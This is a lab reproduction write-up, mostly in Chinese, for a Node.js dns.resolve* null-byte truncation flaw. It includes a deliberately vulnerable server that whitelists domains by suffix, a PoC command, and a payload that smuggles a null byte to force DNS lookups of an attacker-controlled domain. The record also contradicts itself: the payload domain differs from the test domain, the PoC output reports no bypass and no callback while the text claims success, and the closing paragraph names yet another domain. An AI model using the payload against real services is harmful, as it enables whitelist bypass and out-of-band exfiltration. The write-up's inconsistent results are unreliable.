
Reproduction lab and Python PoC for CVE-2026-105482, a Node.js dns.resolve* null-byte truncation flaw that bypasses domain suffix whitelists and triggers DNS OOB callbacks.
dns.resolve* 系列接口存在空字节截断漏洞。业务层仅通过JS字符串endsWith()校验域名后缀实现白名单放行;底层c-ares解析库遇到\x00空字节时会截断域名,攻击者可构造可控域名\x00.可信后缀绕过白名单,解析攻击者控制的外部域名,触发DNS OOB外带业务代码将传入的host参数直接使用 endsWith(".trusted.corp") 判断是否属于可信域名后缀,该判断在JavaScript字符串层执行,不会自动截断\x00; 参数传递到Node内置dns.resolve4后,底层c-ares C库解析域名时,将0x00视作字符串结束符,丢弃空字节后面所有内容,仅解析空字节之前的域名,最终绕过后缀白名单限制,访问任意攻击者可控域名。
sudo resolvectl flush-caches
const http = require("http");
const dns = require("dns");
const { URL } = require("url");
// 白名单后缀
const ALLOWED_SUFFIX = ".trusted.corp";
dns.setServers(["101.33.34.170"]);
const server = http.createServer((req, res) => {
try {
const u = new URL(req.url, `http://${req.headers.host}`);
const target = u.searchParams.get("host");
if (!target) {
return res.end("usage: /fetch?host=<name>");
}
// 打印原始字节hex,用来校验\x00是否成功传入
const rawBuf = Buffer.from(target);
console.log("resolve target raw hex:", rawBuf.toString("hex"));
console.log("resolve target string:", target);
// 业务侧后缀白名单校验(漏洞点:仅JS字符串判断,底层c-ares会截断\0)
if (!target.toLowerCase().endsWith(ALLOWED_SUFFIX)) {
res.statusCode = 403;
return res.end("DENY: not in whitelist suffix");
}
dns.resolve4(target, (err, addrs) => {
if (err) {
return res.end("resolve error: " + err.code);
}
res.end("RESOLVED: " + addrs);
});
} catch (e) {
res.statusCode = 400;
res.end("bad request");
}
});
server.listen(8888, "127.0.0.1", () => {
console.log("Vuln app listen on 127.0.0.1:8888");
});
node vuln.js
启动成功输出:
Vuln app listen on 127.0.0.1:8888

打开Yakit → DNSLog模块,获取随机子域名,本次测试域名:==kptegraiue.zaza.eu.org==,保持页面打开,等待DNS查询日志。
先确认当前公网IP:
curl -4 ifconfig.me
在新终端进入POC目录,执行命令:
python3 cve_2026_105482.py attack --url http://127.0.0.1:8888/fetch --method GET --format query --param host --suffix .trusted.corp --evil kptegraiue.zaza.eu.org --wait 3
POC自动编码构造Payload:
host=lfzdpphfop.lfcx.eu.org%00.trusted.corp

观察node终端打印内容:
Vuln app listen on 127.0.0.1:8888
resolve target raw hex: 6b7074656772616975652e7a617a612e65752e6f7267002e747275737465642e636f7270
resolve target string: kptegraiue.zaza.eu.org.trusted.corp
校验点:hex流中存在00字节,URL传入的空字节成功保留,没有被框架过滤丢弃。
[*] inject host='kptegraiue.zaza.eu.org\\0.trusted.corp' -> http://127.0.0.1:8888/fetch?host=kptegraiue.zaza.eu.org%00.trusted.corp
[+] HTTP 200 in 0.49s
{
"cve": "CVE-2026-105482",
"bypass": false,
"attempts": [
{
"suffix": ".trusted.corp",
"value": "kptegraiue.zaza.eu.org\\0.trusted.corp",
"url": "http://127.0.0.1:8888/fetch?host=kptegraiue.zaza.eu.org%00.trusted.corp",
"status": 200,
"error": null,
"body_head": "RESOLVED: 101.33.34.170"
}
]
}
[-] no callback observed. Either the endpoint does not call dns.resolve* on this input, the suffix is wrong, or the target is patched.
HTTP返回200,说明白名单校验放行,进入dns解析流程。
Yakit捕获DNS查询报文:
;; opcode: QUERY, status: NOERROR, id: 34647
;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;kptegraiue.zaza.eu.org. IN A
查询域名是空字节截断后的xadvgfkaik.zaza.eu.org,远端IP为当前网络公网IP,证明漏洞触发成功。

%00空字节可成功穿透URL参数传递到后端变量;endsWith字符串校验逻辑被绕过;\x00以及其他不可打印控制字符;dns.resolve*之前做域名合法性校验。